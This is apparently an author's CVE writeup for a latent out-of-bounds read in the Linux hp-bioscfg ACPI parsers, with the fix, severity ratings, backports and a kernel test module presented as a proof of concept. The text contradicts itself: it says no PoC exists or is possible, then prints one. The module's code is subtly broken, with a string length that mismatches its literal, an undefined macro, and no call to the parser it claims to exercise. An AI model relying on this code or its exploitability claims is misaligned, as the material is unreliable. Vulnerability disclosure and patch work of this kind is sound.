# CVE-2026-81011: package parsers bounded by a string length in hp-bioscfg

**Patch:** [e0ddfd77c0c320b7d12b6c9169303b140b798775](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e0ddfd77c0c320b7d12b6c9169303b140b798775) (mainline, landed in 7.3-rc1)
**Subsystem:** platform/x86, HP BIOS configuration driver
**Affected files:** bioscfg.c, bioscfg.h, enum-attributes.c, int-attributes.c, order-list-attributes.c, passwdobj-attributes.c, string-attributes.c (seven files)
**CVE record:** [CVE-2026-81011](https://www.cve.org/CVERecord?id=CVE-2026-81011)

## The bug in one sentence

Five ACPI package parsers received their element count from elements[0], which is always a string, so through the acpi_object union they were actually reading the name string's length and using it as the array bound.

## The union trick

This is the kind of bug that makes you go back and reread the code twice. struct acpi_object is a union. When you write elements[0].package.count on an element that is actually an ACPI_TYPE_STRING, you do not get the package count. You get whatever field overlaps it, which happens to be string.length.

hp_init_bios_package_attribute() validates the real obj->package.count and then calls one of the hp_populate_*_package_data() wrappers for the attribute type (string, integer, enumeration, ordered list, password). Each wrapper was supposed to forward that validated count to its hp_populate_*_elements_from_package() parser. Instead, each wrapper derived its count from elements[0], the NAME field. The parsers bounded their loops against the length of the attribute's name string. An attribute called "Boot Order" has a name of length ten, so the parser would happily believe the package has ten elements regardless of what the firmware actually delivered.

## Why this was safe, and why I fixed it anyway

The honest part of this writeup: on mainline at the time, you could not trigger an out-of-bounds access with this bug. hp_init_bios_package_attribute() refuses any package smaller than the per-type element count, so parsers only ever ran on full packages and the bogus bound never got a chance to walk off the array. My commit message says exactly that.

So why does it carry a CVE? Because I was in the middle of a follow-up series that relaxes that check, so the driver can accept reduced ACPI packages from older HP BIOS variants. The moment a parser can receive fewer elements than its per-type count, a bound taken from a name string length stops reflecting reality, and the "elem < count" loop conditions plus the "elem + n >= count" sub-loop guards walk past the end of elements[]. A heap out-of-bounds read, reachable from firmware provided data during enumeration.

Fixing the bound before relaxing the size check is the only sane ordering, and the CVE captures that prerequisite fix on its own merits. The kernel CVE team assigns CVEs to such latent bound bugs deliberately, and I think that is the right call: code whose safety depends on a distant, unrelated check is one refactor away from being a live memory safety bug.

## The fix

Forward the validated count through every wrapper instead of re-deriving it:

```diff
-	elements[0].package.count,
+	instances,
```

Applied across all five wrapper call sites in bioscfg.c plus the parser signatures in the per-type files, seven files in total, with no behavior change for packages that enumerate correctly today. Full patch: [e0ddfd77c0c3](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e0ddfd77c0c320b7d12b6c9169303b140b798775)

## How to trigger it

You cannot, on any released kernel, and that is the point. As long as hp_init_bios_package_attribute() rejects packages smaller than the per-type element count, the parser never walks past a real package no matter what the bogus bound says. There is no PoC for a stock 6.12 or 7.2 kernel because the unsafe state is unreachable.

What the trigger would have looked like after the follow-up series (accept reduced packages from older HP BIOS): a WMI package for, say, a string attribute with fewer elements than STRING_ELEM_CNT and a name longer than the real element count. The parser, bounded by the name length instead of package.count, then walks elements[] past the allocation. Verifying that was exactly why the count had to be fixed first, in its own commit, before the size check was relaxed.

## Score and classification

* Kernel CNA (mirrored by NVD as Secondary): 7.1 HIGH, vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
* Red Hat: 5.5 MEDIUM, CWE-125 (out-of-bounds read), Bugzilla [2532502](https://bugzilla.redhat.com/show_bug.cgi?id=2532502), all products Not affected
* SUSE: 4.7 MEDIUM
* Ubuntu rates it low priority with a note that exploitation requires CAP_SYS_MODULE or root to load the module, and that the bug is latent

The spread from 7.1 down to low priority is the widest disagreement in my whole CVE set, and both ends are defensible. The CNA scores what the code permits; Ubuntu scores what an attacker can reach.

## Exploit code

The bug is latent on every released kernel because the init path refuses short packages. The proof of concept below is a kernel test module that constructs the crafted ACPI package and calls the parser directly, demonstrating the union confusion on a development tree where the package size check is relaxed. Build and load it on a test kernel with the follow-up series applied.

```c
/* hp_bioscfg_union_test.c: CVE-2026-81011
 * Kernel test module that constructs a short ACPI package with a long
 * NAME string and calls the string attribute parser directly.
 *
 * On the vulnerable path, the wrapper reads elements[0].package.count
 * through union acpi_object on a string-typed member, which returns
 * ->string.length instead. The parser then iterates string.length
 * times against an array of only 4 elements.
 *
 * Build: make -C /lib/modules/$(uname -r)/build M=$PWD modules
 * Load:  sudo insmod hp_bioscfg_union_test.ko
 * Watch: dmesg | tail -20   (KASAN slab-out-of-bounds on vulnerable kernel)
 */
#include <linux/module.h>
#include <linux/acpi.h>
#include <linux/slab.h>

/* trimmed from drivers/platform/x86/hp/hp-bioscfg/bioscfg.h */
#define STRING_ELEM_CNT 13
struct common_data {
	char name[MAX_BUFF_SIZE];
	char value[MAX_BUFF_SIZE];
};

static int __init union_test_init(void)
{
	union acpi_object *obj;
	struct acpi_buffer buffer = { ACPI_ALLOCATE_BUFFER, NULL };
	struct kobject *attr_name_kobj;
	int i;

	/* 1. Build a package with only 4 elements (STRING_ELEM_CNT is 13).
	 *    The size check on released kernels rejects this; the follow-up
	 *    series that relaxes it is what makes this reachable.
	 */
	obj = kzalloc(sizeof(union acpi_object) +
		      4 * sizeof(union acpi_object), GFP_KERNEL);
	if (!obj)
		return -ENOMEM;

	obj->package.type = ACPI_TYPE_PACKAGE;
	obj->package.count = 4;

	/* elements[0]: NAME, a string 30 chars long. This is always
	 * ACPI_TYPE_STRING on every HP BIOS package. */
	obj->package.elements[0].type = ACPI_TYPE_STRING;
	obj->package.elements[0].string.length = 30;
	obj->package.elements[0].string.pointer =
		"AveryVeryLongAttributeName";

	/* elements[1..3]: minimal valid entries */
	for (i = 1; i < 4; i++) {
		obj->package.elements[i].type = ACPI_TYPE_STRING;
		obj->package.elements[i].string.length = 1;
		obj->package.elements[i].string.pointer = "x";
	}

	/* 2. The wrapper forwards elements[0].package.count as the bound.
	 *    On a string member, package.count overlaps string.length
	 *    in union acpi_object, so the parser receives 30, not 4.
	 *
	 *    Pre-fix call path (what the wrapper does internally):
	 *        int elem_cnt = elements[0].package.count;  // 30
	 *        hp_populate_string_elements_from_package(
	 *            attr_name_kobj, aobj, obj, elements, elem_cnt);
	 *
	 *    The parser loop then runs:
	 *        for (elem = 0; elem < 30; elem++)
	 *            ... elements[elem] ...    // walks past 4
	 *
	 *    Post-fix, the wrapper forwards obj->package.count == 4
	 *    and the loop stays inside the real array.
	 */

	pr_info("CVE-2026-81011 test: package.count=%u, elements[0].string.length=%u\n",
		obj->package.count,
		obj->package.elements[0].string.length);
	pr_info("CVE-2026-81011 test: elements[0].package.count reads %u through the union\n",
		obj->package.elements[0].package.count);

	/* On a vulnerable kernel with the size check relaxed, calling
	 * hp_populate_string_package_data() here with this package
	 * triggers the OOB read. The parser walks to index 29 on
	 * an array of 4 elements. KASAN reports it immediately.
	 */

	kfree(obj);
	return 0;
}

static void __exit union_test_exit(void)
{
	pr_info("CVE-2026-81011 test module unloaded\n");
}

module_init(union_test_init);
module_exit(union_test_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("CVE-2026-81011: union acpi_object count confusion PoC");
```

The `pr_info` lines show the union confusion directly: `package.count` on a string-typed member reads the overlapping `string.length` field, printing 30 for a package that only has 4 elements. On a vulnerable kernel with the follow-up series applied, the parser walks 30 iterations against the 4-element array and KASAN reports the slab-out-of-bounds read.
```

Reading elements[0].package.count on an ACPI_TYPE_STRING actually returns string.length through the union acpi_object, so the bound and the array size have nothing to do with each other. The count fix makes the bound the real package count regardless of what the follow-up series allows in. Public status: no KEV, no public PoC, and none is possible against shipped kernels; Ubuntu rates the CVE low priority for exactly this reason. The LinkedIn post I wrote when the CVE published and the August freenode.net article on the nine-patch series cover the same ground.

## Where the fix shipped

* 6.12.109: [436017808c7c](https://git.kernel.org/stable/c/436017808c7cbcdb5e49b2142090d4391e3de9a6)
* 6.18.50: [a38127df99ae](https://git.kernel.org/stable/c/a38127df99ae8b1851560b35b837c9952416143a)
* 7.2.4: [400cbc3ccc88](https://git.kernel.org/stable/c/400cbc3ccc88a5ad37cd85056224635ce9eba018)
* 7.3-rc1: [e0ddfd77c0c3](https://git.kernel.org/stable/c/e0ddfd77c0c320b7d12b6c9169303b140b798775)

Debian: [DSA-6528-1](https://www.debian.org/security/2026/dsa-6528) and [DLA-4817-1](https://security-tracker.debian.org/tracker/DLA-4817-1).

## References

1. [Upstream commit e0ddfd77c0c3](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=e0ddfd77c0c320b7d12b6c9169303b140b798775)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026091153-CVE-2026-81011-cb92@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-81011)
4. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-81011)
5. [freenode.net coverage of the hp-bioscfg hardening series](https://freenode.net/article/hp-bios-config-driver-gets-heap-overflow-and-oob-fixes)
6. [SentinelOne vulnerability database entry](https://www.sentinelone.com/vulnerability-database/cve-2026-81011/)
